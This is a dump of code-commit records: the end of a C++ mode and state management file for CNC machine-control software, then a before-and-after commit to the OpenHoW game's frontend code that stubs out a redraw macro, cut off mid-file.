slash<commit_after>\/********************************************************************\n* Description: emctask.cc\n*   Mode and state management for EMC_TASK class\n*\n*   Derived from a work by Fred Proctor & Will Shackleford\n*\n* Author:\n* License: GPL Version 2\n* System: Linux\n*    \n* Copyright (c) 2004 All rights reserved.\n*\n* Last change:\n* $Revision$\n* $Author$\n* $Date$\n********************************************************************\/\n\n#include <stdlib.h>\n#include <string.h>\t\t\/\/ strncpy()\n#include <sys\/stat.h>\t\t\/\/ struct stat\n#include <unistd.h>\t\t\/\/ stat()\n\n#include \"rcs.hh\"\t\t\/\/ INIFILE\n#include \"emc.hh\"\t\t\/\/ EMC NML\n#include \"emcglb.h\"\t\t\/\/ EMC_INIFILE\n#include \"interpl.hh\"\t\t\/\/ NML_INTERP_LIST, interp_list\n#include \"canon.hh\"\t\t\/\/ CANON_VECTOR, GET_PROGRAM_ORIGIN()\n#include \"rs274ngc.hh\"\t\t\/\/ the interpreter\n#include \"interp_return.hh\"\t\/\/ INTERP_FILE_NOT_OPEN\n\n\/* flag for how we want to interpret traj coord mode, as mdi or auto *\/\nstatic int mdiOrAuto = EMC_TASK_MODE_AUTO;\n\nInterp interp;\n\n\/\/ EMC_TASK interface\n\n\/*\n  format string for user-defined programs, e.g., \"programs\/M1%02d\" means\n  user-defined programs are in the programs\/ directory and are named\n  M1XX, where XX is a two-digit string.\n*\/\n\nstatic char user_defined_fmt[EMC_SYSTEM_CMD_LEN] = \"nc_files\/M1%02d\";\n\nstatic void user_defined_add_m_code(int num, double arg1, double arg2)\n{\n    char fmt[EMC_SYSTEM_CMD_LEN];\n    EMC_SYSTEM_CMD system_cmd;\n\n    strcpy(fmt, user_defined_fmt);\n    strcat(fmt, \" %f %f\");\n    sprintf(system_cmd.string, fmt, num, arg1, arg2);\n    interp_list.append(system_cmd);\n}\n\nint emcTaskInit()\n{\n    int index;\n    char path[EMC_SYSTEM_CMD_LEN];\n    struct stat buf;\n    Inifile inifile;\n    const char *inistring;\n\n    \/\/ read out directory where programs are located\n    inifile.open(EMC_INIFILE);\n    inistring = inifile.find(\"PROGRAM_PREFIX\", \"DISPLAY\");\n    inifile.close();\n\n    \/\/ if we have a program prefix, override the default user_defined_fmt\n    \/\/ string with program prefix, then \"M1%02d\", e.g.\n    \/\/ nc_files\/M101, where the %%02d means 2 digits after the M code\n    \/\/ and we need two % to get the literal %\n    if (NULL != inistring) {\n\tsprintf(user_defined_fmt, \"%s\/M1%%02d\", inistring);\n    }\n\n    \/* check for programs named programs\/M100 .. programs\/M199 and add\n       any to the user defined functions list *\/\n    for (index = 0; index < USER_DEFINED_FUNCTION_NUM; index++) {\n\tsprintf(path, user_defined_fmt, index);\n\tif (0 == stat(path, &buf)) {\n\t    if (buf.st_mode & S_IXUSR) {\n\t\tUSER_DEFINED_FUNCTION_ADD(user_defined_add_m_code, index);\n\t\tif (EMC_DEBUG & EMC_DEBUG_CONFIG) {\n\t\t    rcs_print\n\t\t\t(\"emcTaskInit: adding user-defined function %s\\n\",\n\t\t\t path);\n\t\t}\n\t    } else {\n\t\tif (EMC_DEBUG & EMC_DEBUG_CONFIG) {\n\t\t    rcs_print\n\t\t\t(\"emcTaskInit: user-defined function %s found, but not executable, so ignoring\\n\",\n\t\t\t path);\n\t\t}\n\t    }\n\t}\n    }\n\n    return 0;\n}\n\nint emcTaskHalt()\n{\n    return 0;\n}\n\nint emcTaskAbort()\n{\n    emcMotionAbort();\n    emcIoAbort();\n\n    return 0;\n}\n\nint emcTaskSetMode(int mode)\n{\n    int retval = 0;\n\n    switch (mode) {\n    case EMC_TASK_MODE_MANUAL:\n\t\/\/ go to manual mode\n\temcTrajSetMode(EMC_TRAJ_MODE_FREE);\n\tmdiOrAuto = EMC_TASK_MODE_AUTO;\t\/\/ we'll default back to here\n\tbreak;\n\n    case EMC_TASK_MODE_MDI:\n\t\/\/ go to mdi mode\n\temcTrajSetMode(EMC_TRAJ_MODE_COORD);\n\temcTaskPlanSynch();\n\tmdiOrAuto = EMC_TASK_MODE_MDI;\n\tbreak;\n\n    case EMC_TASK_MODE_AUTO:\n\t\/\/ go to auto mode\n\temcTrajSetMode(EMC_TRAJ_MODE_COORD);\n\temcTaskPlanSynch();\n\tmdiOrAuto = EMC_TASK_MODE_AUTO;\n\tbreak;\n\n    default:\n\tretval = -1;\n\tbreak;\n    }\n\n    return retval;\n}\n\nint emcTaskSetState(int state)\n{\n    int t;\n    int retval = 0;\n\n    switch (state) {\n    case EMC_TASK_STATE_OFF:\n\t\/\/ turn the machine servos off-- go into READY state\n\tfor (t = 0; t < emcStatus->motion.traj.axes; t++) {\n\t    emcAxisDisable(t);\n\t}\n\temcTrajDisable();\n\temcLubeOff();\n\tbreak;\n\n    case EMC_TASK_STATE_ON:\n\t\/\/ turn the machine servos on\n\temcTrajEnable();\n\tfor (t = 0; t < emcStatus->motion.traj.axes; t++) {\n\t    emcAxisEnable(t);\n\t}\n\temcLubeOn();\n\tbreak;\n\n    case EMC_TASK_STATE_ESTOP_RESET:\n\t\/\/ reset the estop\n\temcAuxEstopOff();\n\temcLubeOff();\n\tbreak;\n\n    case EMC_TASK_STATE_ESTOP:\n\t\/\/ go into estop-- do both IO estop and machine servos off\n\temcAuxEstopOn();\n\tfor (t = 0; t < emcStatus->motion.traj.axes; t++) {\n\t    emcAxisDisable(t);\n\t}\n\temcTrajDisable();\n\temcLubeOff();\n\tbreak;\n\n    default:\n\tretval = -1;\n\tbreak;\n    }\n\n    return retval;\n}\n\n\/\/ WM access functions\n\n\/*\n  determineMode()\n\n  Looks at mode of subsystems, and returns associated mode\n\n  Depends on traj mode, and mdiOrAuto flag\n\n  traj mode   mdiOrAuto     mode\n  ---------   ---------     ----\n  FREE        XXX           MANUAL\n  COORD       MDI           MDI\n  COORD       AUTO          AUTO\n  *\/\nstatic int determineMode()\n{\n    \/\/ if traj is in free mode, then we're in manual mode\n    if (emcStatus->motion.traj.mode == EMC_TRAJ_MODE_FREE ||\n\temcStatus->motion.traj.mode == EMC_TRAJ_MODE_TELEOP) {\n\treturn EMC_TASK_MODE_MANUAL;\n    }\n    \/\/ else traj is in coord mode-- we can be in either mdi or auto\n    return mdiOrAuto;\n}\n\n\/*\n  determineState()\n\n  Looks at state of subsystems, and returns associated state\n\n  Depends on traj enabled, io estop, and desired task state\n\n  traj enabled   io estop      state\n  ------------   --------      -----\n  DISABLED       ESTOP         ESTOP\n  ENABLED        ESTOP         ESTOP\n  DISABLED       OUT OF ESTOP  ESTOP_RESET\n  ENABLED        OUT OF ESTOP  ON\n  *\/\nstatic int determineState()\n{\n    if (emcStatus->io.aux.estop) {\n\treturn EMC_TASK_STATE_ESTOP;\n    }\n\n    if (!emcStatus->motion.traj.enabled) {\n\treturn EMC_TASK_STATE_ESTOP_RESET;\n    }\n\n    return EMC_TASK_STATE_ON;\n}\n\nstatic int waitFlag = 0;\n\nstatic char interp_error_text_buf[LINELEN];\nstatic char interp_stack_buf[LINELEN];\n\nstatic void print_interp_error(int retval)\n{\n    int index = 0;\n    if (retval == 0) {\n\treturn;\n    }\n\n    if (0 != emcStatus) {\n\temcStatus->task.interpreter_errcode = retval;\n    }\n\n    interp_error_text_buf[0] = 0;\n    interp.error_text(retval, interp_error_text_buf, LINELEN);\n    if (0 != interp_error_text_buf[0]) {\n\trcs_print_error(\"interp_error: %s\\n\", interp_error_text_buf);\n    }\n    emcOperatorError(0, interp_error_text_buf);\n    index = 0;\n    if (EMC_DEBUG & EMC_DEBUG_INTERP) {\n\trcs_print(\"Interpreter stack: \\t\");\n\twhile (index < 5) {\n\t    interp_stack_buf[0] = 0;\n\t    interp.stack_name(index, interp_stack_buf, LINELEN);\n\t    if (0 == interp_stack_buf[0]) {\n\t\tbreak;\n\t    }\n\t    rcs_print(\" - %s \", interp_stack_buf);\n\t    index++;\n\t}\n\trcs_print(\"\\n\");\n    }\n}\n\nint emcTaskPlanInit()\n{\n    interp.ini_load(EMC_INIFILE);\n    waitFlag = 0;\n\n    int retval = interp.init();\n    if (retval > INTERP_MIN_ERROR) {\n\tprint_interp_error(retval);\n    } else {\n\tif (0 != RS274NGC_STARTUP_CODE[0]) {\n\t    retval = interp.execute(RS274NGC_STARTUP_CODE);\n\t    if (retval > INTERP_MIN_ERROR) {\n\t\tprint_interp_error(retval);\n\t    }\n\t}\n    }\n    return retval;\n}\n\nint emcTaskPlanSetWait()\n{\n    waitFlag = 1;\n\n    return 0;\n}\n\nint emcTaskPlanIsWait()\n{\n    return waitFlag;\n}\n\nint emcTaskPlanClearWait()\n{\n    waitFlag = 0;\n\n    return 0;\n}\n\nint emcTaskPlanSynch()\n{\n    return interp.synch();\n}\n\nint emcTaskPlanExit()\n{\n    return interp.exit();\n}\n\nint emcTaskPlanOpen(const char *file)\n{\n    if (emcStatus != 0) {\n\temcStatus->task.motionLine = 0;\n\temcStatus->task.currentLine = 0;\n\temcStatus->task.readLine = 0;\n    }\n\n    int retval = interp.open(file);\n    if (retval > INTERP_MIN_ERROR) {\n\tprint_interp_error(retval);\n\treturn retval;\n    }\n    taskplanopen = 1;\n    return retval;\n}\n\nint emcTaskPlanRead()\n{\n    int retval = interp.read();\n    if (retval == INTERP_FILE_NOT_OPEN) {\n\tif (emcStatus->task.file[0] != 0) {\n\t    retval = interp.open(emcStatus->task.file);\n\t    if (retval > INTERP_MIN_ERROR) {\n\t\tprint_interp_error(retval);\n\t    }\n\t    retval = interp.read();\n\t}\n    }\n    if (retval > INTERP_MIN_ERROR) {\n\tprint_interp_error(retval);\n    }\n    return retval;\n}\n\nint emcTaskPlanExecute(const char *command)\n{\n    int inpos = emcStatus->motion.traj.inpos;\t\/\/ 1 if in position, 0 if not.\n\n    if (command != 0) {\t\t\/\/ Command is 0 if in AUTO mode, non-null if in MDI mode.\n\t\/\/ Don't sync if not in position.\n\tif ((*command != 0) && (inpos)) {\n\t    interp.synch();\n\t}\n    }\n    int retval = interp.execute(command);\n    if (retval > INTERP_MIN_ERROR) {\n\tprint_interp_error(retval);\n    }\n    return retval;\n}\n\nint emcTaskPlanClose()\n{\n    int retval = interp.close();\n    if (retval > INTERP_MIN_ERROR) {\n\tprint_interp_error(retval);\n    }\n\n    taskplanopen = 0;\n    return retval;\n}\n\nint emcTaskPlanLine()\n{\n    return interp.line();\n}\n\nint emcTaskPlanCommand(char *cmd)\n{\n    char buf[LINELEN];\n\n    strcpy(cmd, interp.command(buf, LINELEN));\n    return 0;\n}\n\nint emcTaskUpdate(EMC_TASK_STAT * stat)\n{\n    stat->mode = (enum EMC_TASK_MODE_ENUM) determineMode();\n    stat->state = (enum EMC_TASK_STATE_ENUM) determineState();\n\n    \/\/ execState set in main\n    \/\/ interpState set in main\n    if (emcStatus->motion.traj.id > 0) {\n\tstat->motionLine = emcStatus->motion.traj.id;\n    }\n    \/\/ currentLine set in main\n    \/\/ readLine set in main\n\n    char buf[LINELEN];\n    strcpy(stat->file, interp.file(buf, LINELEN));\n    \/\/ command set in main\n\n    \/\/ update active G and M codes\n    interp.active_g_codes(&stat->activeGCodes[0]);\n    interp.active_m_codes(&stat->activeMCodes[0]);\n    interp.active_settings(&stat->activeSettings[0]);\n\n    stat->heartbeat++;\n\n    return 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/* OpenHoW\n * Copyright (C) 2017-2020 Mark Sowden <markelswo@gmail.com>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <PL\/platform_graphics.h>\n#include <PL\/platform_graphics_camera.h>\n#include <PL\/platform_filesystem.h>\n\n#include \"engine.h\"\n#include \"input.h\"\n#include \"frontend.h\"\n#include \"Map.h\"\n#include \"game\/TempGame.h\"\n#include \"graphics\/font.h\"\n#include \"graphics\/display.h\"\n#include \"graphics\/video.h\"\n\nusing namespace openhow;\n\nstatic unsigned int frontend_state = FE_MODE_INIT;\nstatic unsigned int old_frontend_state = (unsigned int) -1;\n\n\/* for now we're going to hard-code most of this but eventually\n * we will start freeing most of this up... either through JS\n * or some other way, so y'know. Wheeee.\n *\/\n\nstatic const char* papers_teams_paths[MAX_TEAMS] = {\n    \"frontend\/papers\/british.bmp\",\n    \"frontend\/papers\/american.bmp\",\n    \"frontend\/papers\/french.bmp\",\n    \"frontend\/papers\/german.bmp\",\n    \"frontend\/papers\/russian.bmp\",\n    \"frontend\/papers\/japan.bmp\",\n    \"frontend\/papers\/teamlard.bmp\"\n};\n\n\/* texture assets, these are loaded and free'd at runtime *\/\nstatic PLTexture* fe_background = nullptr;\nstatic PLTexture* fe_papers_teams[MAX_TEAMS] = {\n    nullptr, nullptr, nullptr, nullptr, nullptr, nullptr, nullptr\n};\n\nenum {\n  FE_TEXTURE_ANG,\n  FE_TEXTURE_ANGPOINT,\n\n  FE_TEXTURE_CLOCK,\n  FE_TEXTURE_TIMER,\n  FE_TEXTURE_CLIGHT,\n\n  FE_TEXTURE_CROSSHAIR,\n  FE_TEXTURE_TARGET,\n\n  FE_TEXTURE_ARROW,\n  FE_TEXTURE_CROSS,\n\n  FE_TEXTURE_PAUSE,\n\n  MAX_FE_GAME_TEXTURES\n};\nstatic PLTexture* fe_tx_game_textures[MAX_FE_GAME_TEXTURES];  \/* textures that we'll be using in-game *\/\n\/\/static PLTexture *fe_tx_game_icons[MAX_ITEM_TYPES];\n\nstatic int frontend_width = 0;\nstatic int frontend_height = 0;\n\n\/************************************************************\/\n\nstatic void FrontendInputCallback(int key, bool is_pressed) {\n  if (frontend_state == FE_MODE_START && is_pressed) {\n    \/* todo, play 'ting' sound! *\/\n\n    \/* we've hit our key, we can take away this\n     * callback now and carry on to whatever *\/\n    Input_SetKeyboardFocusCallback(nullptr);\n    FrontEnd_SetState(FE_MODE_MAIN_MENU);\n    return;\n  }\n}\n\nstatic void CacheFEGameData() {\n  fe_tx_game_textures[FE_TEXTURE_ANG] =\n      Engine::Resource()->LoadTexture(\"frontend\/dash\/ang\", PL_TEXTURE_FILTER_LINEAR, true);\n  fe_tx_game_textures[FE_TEXTURE_ANGPOINT] =\n      Engine::Resource()->LoadTexture(\"frontend\/dash\/angpoint\", PL_TEXTURE_FILTER_LINEAR, true);\n  fe_tx_game_textures[FE_TEXTURE_CLOCK] =\n      Engine::Resource()->LoadTexture(\"frontend\/dash\/clock\", PL_TEXTURE_FILTER_LINEAR, true);\n  fe_tx_game_textures[FE_TEXTURE_CLIGHT] =\n      Engine::Resource()->LoadTexture(\"frontend\/dash\/timlit.png\", PL_TEXTURE_FILTER_LINEAR, true);\n  fe_tx_game_textures[FE_TEXTURE_TIMER] =\n      Engine::Resource()->LoadTexture(\"frontend\/dash\/timer\", PL_TEXTURE_FILTER_LINEAR, true);\n}\n\nstatic void CacheFEMenuData() {\n  fe_background = Engine::Resource()->LoadTexture(\"frontend\/pigbkpc1\", PL_TEXTURE_FILTER_LINEAR, true);\n  for (unsigned int i = 0; i < MAX_TEAMS; ++i) {\n    fe_papers_teams[i] = Engine::Resource()->LoadTexture(papers_teams_paths[i], PL_TEXTURE_FILTER_LINEAR, true);\n  }\n}\n\n\/************************************************************\/\n\nvoid FE_Initialize(void) {\n  CacheFontData();\n  CacheFEMenuData();\n  CacheFEGameData();\n}\n\nvoid FE_Shutdown(void) {\n  ClearFontData();\n}\n\nvoid FE_ProcessInput(void) {\n  switch (frontend_state) {\n    default:break;\n\n    case FE_MODE_START: {\n      \/* this is... kind of a hack... but ensures that\n       * nothing will take away our check for a key during\n       * the 'start' screen, e.g. bringing the console up *\/\n      Input_SetKeyboardFocusCallback(FrontendInputCallback);\n    }\n      break;\n\n    case FE_MODE_VIDEO: {\n      if (Input_GetKeyState(INPUT_KEY_SPACE) || Input_GetKeyState(INPUT_KEY_ESCAPE)) {\n        Video_SkipCurrent();\n      }\n    }\n      break;\n  }\n}\n\nvoid FrontEnd_Tick(void) {}\n\n\/************************************************************\/\n\nchar loading_description[256];\nuint8_t loading_progress = 0;\n\n#define Redraw()   Display_DrawInterface();\n\nvoid FE_SetLoadingBackground(const char* name) {\n  char screen_path[PL_SYSTEM_MAX_PATH];\n  snprintf(screen_path, sizeof(screen_path), \"frontend\/briefing\/%s\", name);\n  if (!plFileExists(screen_path)) {\n    snprintf(screen_path, sizeof(screen_path), \"frontend\/briefing\/loadmult\");\n  }\n\n  fe_background = Engine::Resource()->LoadTexture(screen_path, PL_TEXTURE_FILTER_LINEAR);\n  Redraw();\n}\n\nvoid FE_SetLoadingDescription(const char* description) {\n  snprintf(loading_description, sizeof(loading_description), \"%s ...\", description);\n  Redraw();\n}\n\nvoid FE_SetLoadingProgress(uint8_t progress) {\n  if (progress > 100) progress = 100;\n  loading_progress = progress;\n  Redraw();\n}\n\nuint8_t FE_GetLoadingProgress(void) {\n  return loading_progress;\n}\n\n\/************************************************************\/\n\n\/**\n * Draw the timer in the bottom corner of the screen.\n *\/\nstatic void DrawTimer() {\n  if (FrontEnd_GetState() != FE_MODE_GAME) {\n    return;\n  }\n\n  IGameMode* mode = Engine::Game()->GetMode();\n  if(!mode->HasRoundStarted()) {\n    return;\n  }\n\n  char str[64];\n  snprintf(str, sizeof(str), \"%0d \/ %0d\", mode->GetTurnTimeSeconds(), mode->GetMaxTurnTimeSeconds());\n  Font_DrawBitmapString(g_fonts[FONT_BIG], frontend_width - 256, frontend_height - 100, 4, 1.0f, PL_COLOUR_WHITE, str);\n}\n\n\/**\n * Draw the minimap on the button left corner of the screen.\n *\/\nstatic void DrawMinimap() {\n  if (FrontEnd_GetState() != FE_MODE_GAME) {\n    return;\n  }\n\n  Map* map = openhow::Engine::Game()->GetCurrentMap();\n  if (map == nullptr) {\n    return;\n  }\n\n#if 0\n  static PLMesh* pane = nullptr;\n  if(pane == nullptr) {\n      pane = plNewMeshRectangle(0, 0, 256, 256, PL_COLOUR_WHITE);\n      if(pane == nullptr) {\n          Error(\"Failed to create pane mesh!\\n\");\n      }\n  }\n\n  plSetTexture(map->GetOverviewTexture(), 0);\n\n  PLMatrix4x4 mat = plMatrix4x4Identity();\n  plSetNamedShaderUniformMatrix4x4(NULL, \"pl_model\", mat, false);\n\n  plUploadMesh(pane);\n  plDrawMesh(pane);\n\n  plSetTexture(nullptr, 0);\n#else\n  \/* for debugging... *\/\n  unsigned int scr_h = Display_GetViewportHeight(&g_state.ui_camera->viewport);\n  plDrawTexturedRectangle(0, scr_h - 128, 128, 128, map->GetTerrain()->GetOverview());\n#endif\n}\n\n\/* Hogs of War's menu was designed\n * with a fixed resolution in mind\n * and scales poorly with anything\n * else. For now we'll just keep\n * things fixed and worry about this\n * later. *\/\n\nstatic void DrawLoadingScreen() {\n  plDrawTexturedRectangle(0, 0, frontend_width, frontend_height, fe_background);\n\n  \/* originally I wrote some code ensuring the menu bar\n   * was centered... that was until I found out that on\n   * the background, the slot for the bar ISN'T centered\n   * at all. JOY... *\/\n  static const int bar_w = 330;\n  int bar_x = 151; \/\/c_x + (FRONTEND_MENU_WIDTH \/ 2) - bar_w \/ 2;\n  int bar_y = 450;\n  if (loading_progress > 0) {\n    plDrawFilledRectangle(plCreateRectangle(\n        PLVector2(bar_x, bar_y),\n        PLVector2(((float) (bar_w) \/ 100) * loading_progress, 18),\n        PL_COLOUR_INDIAN_RED,\n        PL_COLOUR_INDIAN_RED,\n        PL_COLOUR_RED,\n        PL_COLOUR_RED\n    ));\n  }\n\n  if (loading_description[0] != ' ' && loading_description[0] != '\\0') {\n    Font_DrawBitmapString(g_fonts[FONT_CHARS2], bar_x + 2, bar_y + 1, 4, 1.f, PL_COLOUR_WHITE, loading_description);\n  }\n}\n\nvoid FE_Draw(void) {\n  frontend_width = Display_GetViewportWidth(&g_state.ui_camera->viewport);\n  frontend_height = Display_GetViewportHeight(&g_state.ui_camera->viewport);\n\n  \/* render and handle the main menu *\/\n  if (frontend_state != FE_MODE_GAME) { \/\/ todo: what's going on here... ?\n    switch (frontend_state) {\n      default:break;\n\n      case FE_MODE_INIT:\n      case FE_MODE_START:\n      case FE_MODE_MAIN_MENU:\n        plDrawTexturedRectangle(0, 0, frontend_width, frontend_height, fe_background);\n        break;\n\n      case FE_MODE_LOADING:\n        DrawLoadingScreen();\n        break;\n\n      case FE_MODE_VIDEO:\n        Video_Draw();\n        break;\n    }\n\n    return;\n  }\n\n  DrawMinimap();\n  DrawTimer();\n}\n\n\/* * * * * * * * * * * * * * * * * * * * * * *\/\n\nvoid FE_RestoreLastState(void) {\n  FrontEnd_SetState(old_frontend_state);\n}\n\nunsigned int FrontEnd_GetState(void) {\n  return frontend_state;\n}\n\nvoid FrontEnd_SetState(unsigned int state) {\n  if (state == frontend_state) {\n    LogDebug(\"attempted to set debug state to an already existing state!\\n\");\n    return;\n  }\n\n  LogDebug(\"changing frontend state to %u...\\n\", state);\n  switch (state) {\n    default: {\n      LogWarn(\"invalid frontend state, %u, aborting\\n\", state);\n      return;\n    }\n\n    case FE_MODE_MAIN_MENU:\n      \/\/ start playing the default theme\n      Engine::Audio()->PlayMusic(AUDIO_MUSIC_MENU);\n      break;\n\n    case FE_MODE_START: break;\n\n    case FE_MODE_GAME: {\n      \/\/ game mode handles music from here?\n    }\n      break;\n\n    case FE_MODE_LOADING: {\n      \/\/ stop the music as soon as we switch to a loading screen...\n      Engine::Audio()->StopMusic();\n\n      loading_description[0] = '\\0';\n      loading_progress = 0;\n      break;\n    }\n\n    case FE_MODE_EDITOR: break;\n  }\n  old_frontend_state = frontend_state;\n  frontend_state = state;\n\n  \/* !!hacky!! force the display to update due to aspect change, yeah this is gross... *\/\n  Display_UpdateViewport(0, 0, cv_display_width->i_value, cv_display_height->i_value);\n}\n\n<commit_msg>stub out redraw for frontend until this is rewritten<commit_after>\/* OpenHoW\n * Copyright (C) 2017-2020 Mark Sowden <markelswo@gmail.com>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <PL\/platform_graphics.h>\n#include <PL\/platform_graphics_camera.h>\n#include <PL\/platform_filesystem.h>\n\n#include \"engine.h\"\n#include \"input.h\"\n#include \"frontend.h\"\n#include \"Map.h\"\n#include \"game\/TempGame.h\"\n#include \"graphics\/font.h\"\n#include \"graphics\/display.h\"\n#include \"graphics\/video.h\"\n\nusing namespace openhow;\n\nstatic unsigned int frontend_state = FE_MODE_INIT;\nstatic unsigned int old_frontend_state = (unsigned int) -1;\n\n\/* for now we're going to hard-code most of this but eventually\n * we will start freeing most of this up... either through JS\n * or some other way, so y'know. Wheeee.\n *\/\n\nstatic const char* papers_teams_paths[MAX_TEAMS] = {\n    \"frontend\/papers\/british.bmp\",\n    \"frontend\/papers\/american.bmp\",\n    \"frontend\/papers\/french.bmp\",\n    \"frontend\/papers\/german.bmp\",\n    \"frontend\/papers\/russian.bmp\",\n    \"frontend\/papers\/japan.bmp\",\n    \"frontend\/papers\/teamlard.bmp\"\n};\n\n\/* texture assets, these are loaded and free'd at runtime *\/\nstatic PLTexture* fe_background = nullptr;\nstatic PLTexture* fe_papers_teams[MAX_TEAMS] = {\n    nullptr, nullptr, nullptr, nullptr, nullptr, nullptr, nullptr\n};\n\nenum {\n  FE_TEXTURE_ANG,\n  FE_TEXTURE_ANGPOINT,\n\n  FE_TEXTURE_CLOCK,\n  FE_TEXTURE_TIMER,\n  FE_TEXTURE_CLIGHT,\n\n  FE_TEXTURE_CROSSHAIR,\n  FE_TEXTURE_TARGET,\n\n  FE_TEXTURE_ARROW,\n  FE_TEXTURE_CROSS,\n\n  FE_TEXTURE_PAUSE,\n\n  MAX_FE_GAME_TEXTURES\n};\nstatic PLTexture* fe_tx_game_textures[MAX_FE_GAME_TEXTURES];  \/* textures that we'll be using in-game *\/\n\/\/static PLTexture *fe_tx_game_icons[MAX_ITEM_TYPES];\n\nstatic int frontend_width = 0;\nstatic int frontend_height = 0;\n\n\/************************************************************\/\n\nstatic void FrontendInputCallback(int key, bool is_pressed) {\n  if (frontend_state == FE_MODE_START && is_pressed) {\n    \/* todo, play 'ting' sound! *\/\n\n    \/* we've hit our key, we can take away this\n     * callback now and carry on to whatever *\/\n    Input_SetKeyboardFocusCallback(nullptr);\n    FrontEnd_SetState(FE_MODE_MAIN_MENU);\n    return;\n  }\n}\n\nstatic void CacheFEGameData() {\n  fe_tx_game_textures[FE_TEXTURE_ANG] =\n      Engine::Resource()->LoadTexture(\"frontend\/dash\/ang\", PL_TEXTURE_FILTER_LINEAR, true);\n  fe_tx_game_textures[FE_TEXTURE_ANGPOINT] =\n      Engine::Resource()->LoadTexture(\"frontend\/dash\/angpoint\", PL_TEXTURE_FILTER_LINEAR, true);\n  fe_tx_game_textures[FE_TEXTURE_CLOCK] =\n      Engine::Resource()->LoadTexture(\"frontend\/dash\/clock\", PL_TEXTURE_FILTER_LINEAR, true);\n  fe_tx_game_textures[FE_TEXTURE_CLIGHT] =\n      Engine::Resource()->LoadTexture(\"frontend\/dash\/timlit.png\", PL_TEXTURE_FILTER_LINEAR, true);\n  fe_tx_game_textures[FE_TEXTURE_TIMER] =\n      Engine::Resource()->LoadTexture(\"frontend\/dash\/timer\", PL_TEXTURE_FILTER_LINEAR, true);\n}\n\nstatic void CacheFEMenuData() {\n  fe_background = Engine::Resource()->LoadTexture(\"frontend\/pigbkpc1\", PL_TEXTURE_FILTER_LINEAR, true);\n  for (unsigned int i = 0; i < MAX_TEAMS; ++i) {\n    fe_papers_teams[i] = Engine::Resource()->LoadTexture(papers_teams_paths[i], PL_TEXTURE_FILTER_LINEAR, true);\n  }\n}\n\n\/************************************************************\/\n\nvoid FE_Initialize(void) {\n  CacheFontData();\n  CacheFEMenuData();\n  CacheFEGameData();\n}\n\nvoid FE_Shutdown(void) {\n  ClearFontData();\n}\n\nvoid FE_ProcessInput(void) {\n  switch (frontend_state) {\n    default:break;\n\n    case FE_MODE_START: {\n      \/* this is... kind of a hack... but ensures that\n       * nothing will take away our check for a key during\n       * the 'start' screen, e.g. bringing the console up *\/\n      Input_SetKeyboardFocusCallback(FrontendInputCallback);\n    }\n      break;\n\n    case FE_MODE_VIDEO: {\n      if (Input_GetKeyState(INPUT_KEY_SPACE) || Input_GetKeyState(INPUT_KEY_ESCAPE)) {\n        Video_SkipCurrent();\n      }\n    }\n      break;\n  }\n}\n\nvoid FrontEnd_Tick(void) {}\n\n\/************************************************************\/\n\nchar loading_description[256];\nuint8_t loading_progress = 0;\n\n#if 0\n#\tdefine Redraw()   Display_DrawInterface();\n#else\n#\tdefine Redraw()\n#endif\n\nvoid FE_SetLoadingBackground(const char* name) {\n  char screen_path[PL_SYSTEM_MAX_PATH];\n  snprintf(screen_path, sizeof(screen_path), \"frontend\/briefing\/%s\", name);\n  if (!plFileExists(screen_path)) {\n    snprintf(screen_path, sizeof(screen_path), \"frontend\/briefing\/loadmult\");\n  }\n\n  fe_background = Engine::Resource()->LoadTexture(screen_path, PL_TEXTURE_FILTER_LINEAR);\n  Redraw();\n}\n\nvoid FE_SetLoadingDescription(const char* description) {\n  snprintf(loading_description, sizeof(loading_description), \"%s ...\", description);\n  Redraw();\n}\n\nvoid FE_SetLoadingProgress(uint8_t progress) {\n  if (progress > 100) progress = 100;\n  loading_progress = progress;\n  Redraw();\n}\n\nuint8_t FE_GetLoadingProgress(void) {\n  return loading_progress;\n}\n\n\/************************************************************\/\n\n\/**\n * Draw the timer in the bottom corner of the screen.\n *\/\nstatic void DrawTimer() {\n  if (FrontEnd_GetState() != FE_MODE_GAME) {\n    return;\n  }\n\n  IGameMode* mode = Engine::Game()->GetMode();\n  if(!mode->HasRoundStarted()) {\n    return;\n  }\n\n  char str[64];\n  snprintf(str, sizeof(str), \"%0d \/ %0d\", mode->GetTurnTimeSeconds(), mode->GetMaxTurnTimeSeconds());\n  Font_DrawBitmapString(g_fonts[FONT_BIG], frontend_width - 256, frontend_height - 100, 4, 1.0f, PL_COLOUR_WHITE, str);\n}\n\n\/**\n * Draw the minimap on the button left corner of the screen.\n *\/\nstatic void DrawMinimap() {\n  if (FrontEnd_GetState() != FE_MODE_GAME) {\n    return;\n  }\n\n  Map* map = openhow::Engine::Game()->GetCurrentMap();\n  if (map == nullptr) {\n    return;\n  }\n\n#if 0\n  static PLMesh* pane = nullptr;\n  if(pane == nullptr) {\n      pane = plNewMeshRectangle(0, 0, 256, 256, PL_COLOUR_WHITE);\n      if(pane == nullptr) {\n          Error(\"Failed to create pane mesh!\\n\");\n      }\n  }\n\n  plSetTexture(map->GetOverviewTexture(), 0);\n\n  PLMatrix4x4 mat = plMatrix4x4Identity();\n  plSetNamedShaderUniformMatrix4x4(NULL, \"pl_model\", mat, false);\n\n  plUploadMesh(pane);\n  plDrawMesh(pane);\n\n  plSetTexture(nullptr, 0);\n#else\n  \/* for debugging... *\/\n  unsigned int scr_h = Display_GetViewportHeight(&g_state.ui_camera->viewport);\n  plDrawTexturedRectangle(0, scr_h - 128, 128, 128, map->GetTerrain()->GetOverview());\n#endif\n}\n\n\/* Hogs of War's menu was designed\n * with a fixed resolution in mind\n * and scales poorly with anything\n 